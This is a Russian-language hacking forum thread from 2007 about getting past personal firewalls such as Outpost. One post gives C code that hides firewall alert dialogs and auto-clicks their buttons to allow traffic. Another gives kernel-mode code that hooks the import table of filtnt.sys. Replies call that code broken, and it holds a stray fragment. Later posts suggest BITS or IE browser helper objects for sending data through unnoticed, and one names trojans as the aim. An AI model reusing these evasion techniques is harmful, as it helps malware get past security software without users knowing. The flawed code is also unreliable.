ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 30.06.2007, 21:36
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию

эмм.. на днях кой чего накидал... мб кому пригодится...
уровень кодинга у меня неважный.. но вообщем зацените...


Код:
#include <windows.h>
#include <conio.h>

DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
while(10)
{
HWND opf;
HWND wbm;

wbm=FindWindow("#32770",0);
ShowWindow(wbm,SW_HIDE);
SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0);

opf=FindWindow("#32770",0);
ShowWindow(opf,SW_HIDE);
CheckDlgButton(opf,1007,0);
CheckDlgButton(opf,1006,1);
SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0);
opf=FindWindowEx(opf,0,0,"OK");
SendMessage(opf,BM_CLICK,0,0);

}
return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
if (hThread != NULL)
{
_getch();
CloseHandle( hThread );
}

sleep(10);
return 1;
}
 
Ответить с цитированием

  #12  
Старый 30.06.2007, 21:55
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами: 10140806

Репутация: 932


По умолчанию

Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru

Код:
static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);

while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;

Import = RVATOVA(Image, ImpDesc->FirstThunk);

while (Import->AddressOfData) 
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);

if (Import->Function == (ULONG)Handler) 
{
Import->Function = (ULONG)NewHandler; 
}

Import++; 
}

ImpDesc++;
}
}
}

static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();

if (Process == UserProcess) Process = PsInitialSystemProcess;

return Process; 
}



void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}
 
Ответить с цитированием

  #13  
Старый 30.06.2007, 23:35
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами: 9948928

Репутация: 208
По умолчанию

2Кузьмич, этот код ставит свои хуки на уровне ядра?
 
Ответить с цитированием

  #14  
Старый 01.07.2007, 00:08
inSa(Ne)rd
Участник форума
Регистрация: 14.03.2005
Сообщений: 267
С нами: 11135846

Репутация: 545
По умолчанию

razzzar, а что, можно так сделать в user-mode, да?

что за ебанутый код
Цитата:
PVOID Image = GetModuleHandle("filtnt.sys");
GetModuleHandleA никогда не будет работать в kernel mode
 
Ответить с цитированием

  #15  
Старый 01.07.2007, 00:10
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами: 10721066

Репутация: 4360


По умолчанию

Ky3bMu4 лол=) Кернел моде ) А че там делает GetModuleHandle? )

slider, боян)
 
Ответить с цитированием

  #16  
Старый 01.07.2007, 00:15
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию

_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
 
Ответить с цитированием

  #17  
Старый 03.07.2007, 01:28
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами: 10370602

Репутация: 472
По умолчанию

забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека
также можете юзать Bits, примеров хватает
 
Ответить с цитированием

  #18  
Старый 03.07.2007, 01:32
razzzar
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами: 9948928

Репутация: 208
По умолчанию

у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
 
Ответить с цитированием

  #19  
Старый 03.07.2007, 09:30
Namelles One
Познающий
Регистрация: 08.07.2005
Сообщений: 47
С нами: 10968492

Репутация: 65
По умолчанию

Дурдом какой-то.
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?

З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.
 
Ответить с цитированием

  #20  
Старый 03.07.2007, 10:08
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Цитата:
у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?

или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
советую учить делфи. пока ситуация ещё под контролем

Цитата:
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?
аналогично

Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные)
если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь

так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее.

мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю.
можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло.

Цитата:
_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем

Последний раз редактировалось KEZ; 03.07.2007 в 10:21..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Методы "вспоминания" пароля (от мыла) censored! Уязвимости Mail-сервис 212 05.10.2020 00:02
актуальные методы обхода фаерволов x-ultra-x С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 10 18.05.2007 17:41
какие есть методы преобразования Sql запроса для обхода фильтрации ysmat PHP 2 16.09.2006 22:01



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.